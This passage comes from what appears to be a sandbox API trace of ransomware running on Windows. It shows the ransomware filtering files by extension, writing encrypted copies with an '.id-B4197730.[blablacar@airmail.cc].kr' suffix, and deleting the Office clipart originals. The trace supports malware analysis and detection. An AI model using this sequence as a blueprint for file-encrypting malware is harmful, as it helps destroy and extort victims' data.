lpString2=".WMF") returned -1 [0189.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0189.218] lstrlenW (lpString=".jpg") returned 4 [0189.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.218] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0189.218] lstrlenW (lpString="DD01631_.WMF") returned 12 [0189.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0189.219] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=552) returned 1 [0189.219] CloseHandle (hObject=0x544) returned 1 [0189.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0189.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0189.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0189.220] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.220] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0189.221] GetLastError () returned 0x0 [0189.221] ReadFile (in: hFile=0x544, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x228, lpOverlapped=0x0) returned 1 [0189.222] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x230, lpOverlapped=0x0) returned 1 [0189.223] ReadFile (in: hFile=0x544, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.223] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0189.224] SetEndOfFile (hFile=0x520) returned 1 [0189.224] CloseHandle (hObject=0x520) returned 1 [0189.224] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0189.224] SetEndOfFile (hFile=0x544) returned 1 [0189.227] CloseHandle (hObject=0x544) returned 1 [0189.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0189.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0189.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.229] lstrlenW (lpString=".doc") returned 4 [0189.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.229] lstrlenW (lpString=".docx") returned 5 [0189.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.229] lstrlenW (lpString=".pdf") returned 4 [0189.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.229] lstrlenW (lpString=".xls") returned 4 [0189.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.229] lstrlenW (lpString=".xlsx") returned 5 [0189.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.277] lstrlenW (lpString=".ppt") returned 4 [0189.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.278] lstrlenW (lpString=".zip") returned 4 [0189.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.278] lstrlenW (lpString=".rar") returned 4 [0189.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.278] lstrlenW (lpString=".bz2") returned 4 [0189.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.278] lstrlenW (lpString=".7z") returned 3 [0189.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.278] lstrlenW (lpString=".dbf") returned 4 [0189.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.278] lstrlenW (lpString=".1cd") returned 4 [0189.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.278] lstrlenW (lpString=".jpg") returned 4 [0189.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.278] lstrlenW (lpString=".doc") returned 4 [0189.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.278] lstrlenW (lpString=".docx") returned 5 [0189.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.278] lstrlenW (lpString=".pdf") returned 4 [0189.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.279] lstrlenW (lpString=".xls") returned 4 [0189.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.279] lstrlenW (lpString=".xlsx") returned 5 [0189.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.279] lstrlenW (lpString=".ppt") returned 4 [0189.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.279] lstrlenW (lpString=".zip") returned 4 [0189.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.279] lstrlenW (lpString=".rar") returned 4 [0189.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.279] lstrlenW (lpString=".bz2") returned 4 [0189.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.279] lstrlenW (lpString=".7z") returned 3 [0189.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.279] lstrlenW (lpString=".dbf") returned 4 [0189.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.279] lstrlenW (lpString=".1cd") returned 4 [0189.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0189.279] lstrlenW (lpString=".jpg") returned 4 [0189.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.280] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0189.280] lstrlenW (lpString="DD01761_.WMF") returned 12 [0189.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0191.151] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4148) returned 1 [0191.151] CloseHandle (hObject=0x534) returned 1 [0191.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0191.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.184] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.184] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.185] GetLastError () returned 0x0 [0191.185] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1034, lpOverlapped=0x0) returned 1 [0191.186] WriteFile (in: hFile=0x544, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1040, lpOverlapped=0x0) returned 1 [0191.187] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.187] WriteFile (in: hFile=0x544, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0191.187] SetEndOfFile (hFile=0x544) returned 1 [0191.188] CloseHandle (hObject=0x544) returned 1 [0191.188] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.188] SetEndOfFile (hFile=0x520) returned 1 [0191.195] CloseHandle (hObject=0x520) returned 1 [0191.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0191.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.196] lstrlenW (lpString=".doc") returned 4 [0191.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.196] lstrlenW (lpString=".docx") returned 5 [0191.196] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.196] lstrlenW (lpString=".pdf") returned 4 [0191.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.196] lstrlenW (lpString=".xls") returned 4 [0191.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.196] lstrlenW (lpString=".xlsx") returned 5 [0191.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.196] lstrlenW (lpString=".ppt") returned 4 [0191.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.196] lstrlenW (lpString=".zip") returned 4 [0191.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.196] lstrlenW (lpString=".rar") returned 4 [0191.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.197] lstrlenW (lpString=".bz2") returned 4 [0191.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.197] lstrlenW (lpString=".7z") returned 3 [0191.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.197] lstrlenW (lpString=".dbf") returned 4 [0191.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.197] lstrlenW (lpString=".1cd") returned 4 [0191.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.197] lstrlenW (lpString=".jpg") returned 4 [0191.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.197] lstrlenW (lpString=".doc") returned 4 [0191.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.197] lstrlenW (lpString=".docx") returned 5 [0191.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.197] lstrlenW (lpString=".pdf") returned 4 [0191.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.197] lstrlenW (lpString=".xls") returned 4 [0191.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.198] lstrlenW (lpString=".xlsx") returned 5 [0191.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.198] lstrlenW (lpString=".ppt") returned 4 [0191.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.198] lstrlenW (lpString=".zip") returned 4 [0191.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.198] lstrlenW (lpString=".rar") returned 4 [0191.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.198] lstrlenW (lpString=".bz2") returned 4 [0191.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.198] lstrlenW (lpString=".7z") returned 3 [0191.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.198] lstrlenW (lpString=".dbf") returned 4 [0191.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.198] lstrlenW (lpString=".1cd") returned 4 [0191.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0191.198] lstrlenW (lpString=".jpg") returned 4 [0191.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.198] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.198] lstrlenW (lpString="EN00397_.WMF") returned 12 [0191.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.199] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=17308) returned 1 [0191.199] CloseHandle (hObject=0x520) returned 1 [0191.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0191.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.200] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.200] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.201] GetLastError () returned 0x0 [0191.201] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x439c, lpOverlapped=0x0) returned 1 [0191.203] WriteFile (in: hFile=0x544, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x43a0, lpOverlapped=0x0) returned 1 [0191.204] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.204] WriteFile (in: hFile=0x544, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0191.204] SetEndOfFile (hFile=0x544) returned 1 [0191.204] CloseHandle (hObject=0x544) returned 1 [0191.205] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.205] SetEndOfFile (hFile=0x520) returned 1 [0191.207] CloseHandle (hObject=0x520) returned 1 [0191.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 1 [0191.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.209] lstrlenW (lpString=".doc") returned 4 [0191.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.209] lstrlenW (lpString=".docx") returned 5 [0191.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.209] lstrlenW (lpString=".pdf") returned 4 [0191.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.209] lstrlenW (lpString=".xls") returned 4 [0191.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.209] lstrlenW (lpString=".xlsx") returned 5 [0191.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.209] lstrlenW (lpString=".ppt") returned 4 [0191.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.209] lstrlenW (lpString=".zip") returned 4 [0191.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.209] lstrlenW (lpString=".rar") returned 4 [0191.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.209] lstrlenW (lpString=".bz2") returned 4 [0191.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.209] lstrlenW (lpString=".7z") returned 3 [0191.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.209] lstrlenW (lpString=".dbf") returned 4 [0191.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.209] lstrlenW (lpString=".1cd") returned 4 [0191.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.209] lstrlenW (lpString=".jpg") returned 4 [0191.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.210] lstrlenW (lpString=".doc") returned 4 [0191.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.210] lstrlenW (lpString=".docx") returned 5 [0191.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.210] lstrlenW (lpString=".pdf") returned 4 [0191.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.210] lstrlenW (lpString=".xls") returned 4 [0191.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.210] lstrlenW (lpString=".xlsx") returned 5 [0191.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.210] lstrlenW (lpString=".ppt") returned 4 [0191.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.210] lstrlenW (lpString=".zip") returned 4 [0191.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.210] lstrlenW (lpString=".rar") returned 4 [0191.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.210] lstrlenW (lpString=".bz2") returned 4 [0191.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.210] lstrlenW (lpString=".7z") returned 3 [0191.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.210] lstrlenW (lpString=".dbf") returned 4 [0191.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.210] lstrlenW (lpString=".1cd") returned 4 [0191.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0191.211] lstrlenW (lpString=".jpg") returned 4 [0191.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.211] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.211] lstrlenW (lpString="EN00902_.WMF") returned 12 [0191.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" 